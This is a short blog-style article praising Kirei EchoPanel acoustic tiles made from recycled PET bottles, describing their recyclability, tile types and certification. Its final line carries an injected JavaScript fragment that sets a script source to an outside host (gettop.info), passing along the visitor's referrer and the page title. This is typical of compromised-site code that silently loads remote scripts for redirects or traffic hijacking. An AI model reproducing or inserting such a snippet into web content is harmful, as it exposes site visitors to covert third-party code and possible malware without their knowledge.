Acoustic panel design is not really renowned for style and/or sustainability. ‘EchoPanels‘ are changing this conception and offering a great recycling opportunity at the same time. Now they have the sound-absorbing Kirei Echopanel tile (originally seen in Green Build 2015) that allows an attractive eco-friendly option.
The real beauty of the EchoPanel tile is hidden within their composition. There are made from recycled PET bottles and have no added adhesives meaning they are 100% recyclable. They have been designed to be modular and are customizable so just about any colour shape or pattern can be created using the system.
The founder of Kirei, John Stein, developed the panels to improve the quality of spaces. In the same way that designers invest time in creating great natural lighting in a space, he wants to improve the sound quality of spaces.
EchoPanel come in three easy-to-install types. There is a ‘clip-on’ DuneWave Tile; a longer rectangular EchoPanel ‘strip’ and a ‘peel-and-stick’ geometric tile that can create modularity and tessellations. They can be cut to specific sizes and have a felt like finish. They have been certified by Green Tag (as they contain zero urea formaldehyde). So now, as our options for sound design increase, we can all have a greener, clearer conscience. Check them out!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;